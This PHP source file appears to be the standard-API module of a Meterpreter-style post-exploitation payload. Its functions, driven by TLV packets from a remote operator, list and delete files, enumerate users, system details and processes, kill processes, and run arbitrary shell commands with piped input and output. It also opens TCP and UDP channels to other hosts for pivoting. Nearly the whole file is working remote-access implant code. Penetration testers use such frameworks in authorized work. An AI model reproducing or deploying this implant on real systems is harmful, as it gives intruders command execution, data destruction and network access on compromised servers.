435 lines
14 KiB
PHP
435 lines
14 KiB
PHP
#<?php
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##
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# STDAPI
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##
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# Wrap everything in checks for existence of the new functions in case we get
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# eval'd twice
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my_print("Evaling stdapi");
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if (!function_exists('cononicalize_path')) {
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function cononicalize_path($path) {
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$path = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $path);
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return $path;
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}
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}
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# Need to nail down what this should actually do. In ruby, it doesn't expand
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# environment variables but in the windows meterpreter it does
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if (!function_exists('stdapi_fs_expand_path')) {
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function stdapi_fs_expand_path($req, &$pkt) {
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my_print("doing expand_path");
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$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
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return ERROR_FAILURE;
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}
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}
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# works
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if (!function_exists('stdapi_fs_chdir')) {
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function stdapi_fs_chdir($req, &$pkt) {
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my_print("doing chdir");
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$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
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chdir(cononicalize_path($path_tlv['value']));
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return ERROR_SUCCESS;
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}
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}
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# works
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if (!function_exists('stdapi_fs_delete')) {
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function stdapi_fs_delete($req, &$pkt) {
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my_print("doing delete");
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$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
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$ret = unlink(cononicalize_path($path_tlv['value']));
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return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
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}
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}
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# works
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if (!function_exists('stdapi_fs_getwd')) {
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function stdapi_fs_getwd($req, &$pkt) {
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my_print("doing pwd");
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
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return ERROR_SUCCESS;
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}
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}
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# works partially, need to get the path argument to mean the same thing as in
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# windows
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if (!function_exists('stdapi_fs_ls')) {
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function stdapi_fs_ls($req, &$pkt) {
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my_print("doing ls");
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$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
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$path = cononicalize_path($path_tlv['value']);
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$dir_handle = @opendir($path);
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if ($dir_handle) {
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while ($file = readdir($dir_handle)) {
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if ($file != "." && $file != "..") {
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#my_print("Adding file $file");
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $file));
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path . DIRECTORY_SEPARATOR . $file));
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$st = stat($path . DIRECTORY_SEPARATOR . $file);
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$st_buf = "";
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$st_buf .= pack("V", $st['dev']);
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$st_buf .= pack("v", $st['ino']);
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$st_buf .= pack("v", $st['mode']);
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$st_buf .= pack("v", $st['nlink']);
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$st_buf .= pack("v", $st['uid']);
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$st_buf .= pack("v", $st['gid']);
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$st_buf .= pack("v", 0);
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$st_buf .= pack("V", $st['rdev']);
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$st_buf .= pack("V", $st['size']);
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$st_buf .= pack("V", $st['atime']);
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$st_buf .= pack("V", $st['mtime']);
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$st_buf .= pack("V", $st['ctime']);
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$st_buf .= pack("V", $st['blksize']);
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$st_buf .= pack("V", $st['blocks']);
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
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}
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}
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closedir($dir_handle);
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return ERROR_SUCCESS;
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} else {
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return ERROR_FAILURE;
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}
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}
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}
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if (!function_exists('stdapi_fs_stat')) {
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function stdapi_fs_stat($req, &$pkt) {
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my_print("doing stat");
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$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
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$path = cononicalize_path($path_tlv['value']);
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$st = stat($path);
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$st_buf = "";
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$st_buf .= pack("V", $st['dev']);
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$st_buf .= pack("v", $st['ino']);
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$st_buf .= pack("v", $st['mode']);
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$st_buf .= pack("v", $st['nlink']);
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$st_buf .= pack("v", $st['uid']);
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$st_buf .= pack("v", $st['gid']);
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$st_buf .= pack("v", 0);
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$st_buf .= pack("V", $st['rdev']);
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$st_buf .= pack("V", $st['size']);
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$st_buf .= pack("V", $st['atime']);
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$st_buf .= pack("V", $st['mtime']);
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$st_buf .= pack("V", $st['ctime']);
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$st_buf .= pack("V", $st['blksize']);
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$st_buf .= pack("V", $st['blocks']);
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
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}
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}
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# works
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if (!function_exists('stdapi_fs_delete_file')) {
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function stdapi_fs_delete_file($req, &$pkt) {
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my_print("doing delete");
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$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
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$path = cononicalize_path($path_tlv['value']);
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if ($path && is_file($path)) {
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$worked = @unlink($path);
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return ($worked ? ERROR_SUCCESS : ERROR_FAILURE);
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} else {
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return ERROR_FAILURE;
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}
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}
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}
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# works
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if (!function_exists('stdapi_sys_config_getuid')) {
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function stdapi_sys_config_getuid($req, &$pkt) {
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my_print("doing getuid");
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if (is_callable('posix_getuid')) {
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$uid = posix_getuid();
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$pwinfo = posix_getpwuid($uid);
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$user = $pwinfo['name'] . " ($uid)";
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} else {
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# The posix functions aren't available, this is probably windows. Use
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# the functions for getting user name and uid based on file ownership
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# instead.
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$user = get_current_user() . " (" . getmyuid() . ")";
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}
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user));
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return ERROR_SUCCESS;
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}
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}
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# Unimplemented becuase it's unimplementable
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if (!function_exists('stdapi_sys_config_rev2self')) {
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function stdapi_sys_config_rev2self($req, &$pkt) {
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my_print("doing rev2self");
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return ERROR_FAILURE;
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}
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}
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# works
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if (!function_exists('stdapi_sys_config_sysinfo')) {
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function stdapi_sys_config_sysinfo($req, &$pkt) {
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my_print("doing sysinfo");
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_OS_NAME, php_uname()));
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return ERROR_SUCCESS;
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}
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}
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# Global list of processes so we know what to kill when a channel gets closed
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$GLOBALS['processes'] = array();
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if (!function_exists('stdapi_sys_process_execute')) {
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function stdapi_sys_process_execute($req, &$pkt) {
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my_print("doing execute");
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$cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH);
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$args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS);
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$flags_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_FLAGS);
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$cmd = $cmd_tlv['value'];
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$args = $args_tlv['value'];
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$flags = $flags_tlv['value'];
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# If there was no command specified, well, a user sending an empty command
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# deserves failure.
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my_print("Cmd: $cmd $args");
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$real_cmd = $cmd ." ". $args;
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if (0 > strlen($cmd)) {
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return ERROR_FAILURE;
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}
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#my_print("Flags: $flags (" . ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) .")");
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if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
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global $processes;
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my_print("Channelized");
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$handle = proc_open($real_cmd, array(array('pipe','r'), array('pipe','w'), array('pipe','w')), $pipes);
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if ($handle === false) {
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return ERROR_FAILURE;
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}
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$pipes['type'] = 'stream';
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register_stream($pipes[0]);
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register_stream($pipes[1]);
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register_stream($pipes[2]);
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$cid = register_channel($pipes[0], $pipes[1], $pipes[2]);
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# associate the process with this channel so we know when to close it.
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$processes[$cid] = $handle;
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, 0));
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes)-1));
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
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} else {
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# Don't care about stdin/stdout, just run the command
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my_cmd($real_cmd);
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}
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return ERROR_SUCCESS;
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}
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}
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# Works, but not very portable. There doesn't appear to be a PHP way of
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# getting a list of processes, so we just shell out to ps/tasklist.exe. I need
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# to decide what options to send to ps for portability and for information
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# usefulness.
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if (!function_exists('stdapi_sys_process_get_processes')) {
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function stdapi_sys_process_get_processes($req, &$pkt) {
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my_print("doing get_processes");
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$list = array();
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if (is_windows()) {
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# This command produces a line like:
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# "tasklist.exe","2264","Console","0","4,556 K","Running","EGYPT-B3E55BF3C\Administrator","0:00:00","OleMainThreadWndName"
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$output = my_cmd("tasklist /v /fo csv /nh");
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$lines = explode("\n", trim($output));
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foreach ($lines as $line) {
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$line = trim($line);
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#
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# Ghetto CSV parsing
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#
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$pieces = preg_split('/","/', $line);
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# Strip off the initial quote on the first and last elements
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$pieces[0] = substr($pieces[0], 1, strlen($pieces[0]));
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$cnt = count($pieces) - 1;
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$pieces[$cnt] = substr($pieces[$cnt], 1, strlen($pieces[$cnt]));
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$proc_info = array($pieces[1], $pieces[6], $pieces[0]);
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array_push($list, $proc_info);
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}
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} else {
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# This command produces a line like:
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# 1553 root /sbin/getty -8 38400 tty1
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$output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null");
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$lines = explode("\n", trim($output));
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foreach ($lines as $line) {
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array_push($list, preg_split("/\s+/", trim($line)));
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}
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}
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foreach ($list as $proc) {
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$grp = "";
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$grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0]));
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$grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1]));
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$grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2]));
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# Strip the pid and the user name off the front; the rest will be the
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# full command line
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array_shift($proc);
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array_shift($proc);
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$grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join($proc, " ")));
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp));
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}
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return ERROR_SUCCESS;
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}
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}
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# works
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if (!function_exists('stdapi_sys_process_getpid')) {
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function stdapi_sys_process_getpid($req, &$pkt) {
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my_print("doing getpid");
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
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return ERROR_SUCCESS;
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}
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}
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if (!function_exists('stdapi_sys_process_kill')) {
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function stdapi_sys_process_kill($req, &$pkt) {
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# The existence of posix_kill is unlikely (it's a php compile-time option
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# that isn't enabled by default, but better to try it and avoid shelling
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# out when unnecessary.
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my_print("doing kill");
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$pid_tlv = packet_get_tlv($req, TLV_TYPE_PID);
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$pid = $pid_tlv['value'];
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if (is_callable('posix_kill')) {
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$ret = posix_kill($pid, 9);
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$ret = $ret ? ERROR_SUCCESS : posix_get_last_error();
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if ($ret != ERROR_SUCCESS) {
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my_print(posix_strerror($ret));
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}
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} else {
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$ret = ERROR_FAILURE;
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if (is_windows()) {
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my_cmd("taskkill /f /pid $pid");
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# Don't know how to check for success yet, so just assume it worked
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$ret = ERROR_SUCCESS;
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} else {
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if ("foo" == my_cmd("kill -9 $pid && echo foo")) {
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$ret = ERROR_SUCCESS;
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}
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}
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}
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return $ret;
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}
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}
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if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
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function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
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my_print("doing stdapi_net_socket_tcp_shutdown");
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$cid_tlv = packet_get_tlv(TLV_TYPE_CHANNEL_ID, $req);
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$c = get_channel_by_id($cid_tlv['value']);
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if ($c && $c['type'] == 'socket') {
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@socket_shutdown($c[0], $how);
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$ret = ERROR_SUCCESS;
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} else {
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$ret = ERROR_FAILURE;
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}
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return $ret;
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}
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}
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# END STDAPI
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##
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# Channel Helper Functions
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##
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if (!function_exists('channel_create_stdapi_fs_file')) {
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function channel_create_stdapi_fs_file($req, &$pkt) {
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$fpath_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
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$mode_tlv = packet_get_tlv($req, TLV_TYPE_FILE_MODE);
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#my_print("Opening path {$fpath_tlv['value']} with mode {$mode_tlv['value']}");
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if (!$mode_tlv) {
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$mode_tlv = array('value' => 'rb');
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}
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$fd = @fopen($fpath_tlv['value'], $mode_tlv['value']);
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if (is_resource($fd)) {
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register_stream($fd);
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$id = register_channel($fd);
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
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return ERROR_SUCCESS;
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} else {
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my_print("Failed to open");
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}
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return ERROR_FAILURE;
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}
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}
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if (!function_exists('channel_create_stdapi_net_tcp_client')) {
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function channel_create_stdapi_net_tcp_client($req, &$pkt) {
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my_print("creating tcp client");
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$peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST);
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$peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT);
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$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST);
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$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT);
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$retries_tlv = packet_get_tlv($req, TLV_TYPE_CONNECT_RETRIES);
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if ($retries_tlv['value']) {
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$retries = $retries_tlv['value'];
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} else {
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$retries = 1;
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}
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for ($i = 0; $i < $retries; $i++) {
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$sock = connect($peer_host_tlv['value'], $peer_port_tlv['value']);
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if ($sock) {
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break;
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}
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}
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if (!$sock) {
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return ERROR_FAILURE;
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}
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#
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# If we got here, the connection worked, respond with the new channel ID
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#
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$id = register_channel($sock);
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
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add_reader($sock);
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return ERROR_SUCCESS;
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}
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}
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if (!function_exists('channel_create_stdapi_net_udp_client')) {
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function channel_create_stdapi_net_udp_client($req, &$pkt) {
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my_print("creating udp client");
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$peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST);
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$peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT);
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# We can't actually do anything with local_host and local_port because PHP
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# doesn't let us specify these values in any of the exposed socket API
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# functions.
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#$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST);
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#$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT);
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$sock = connect($peer_host_tlv['value'], $peer_port_tlv['value'], 'udp');
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my_print("UDP channel on {$sock}");
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if (!$sock) {
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return ERROR_FAILURE;
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}
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#
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# If we got here, the connection worked, respond with the new channel ID
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#
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$id = register_channel($sock);
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
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add_reader($sock);
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return ERROR_SUCCESS;
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}
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}
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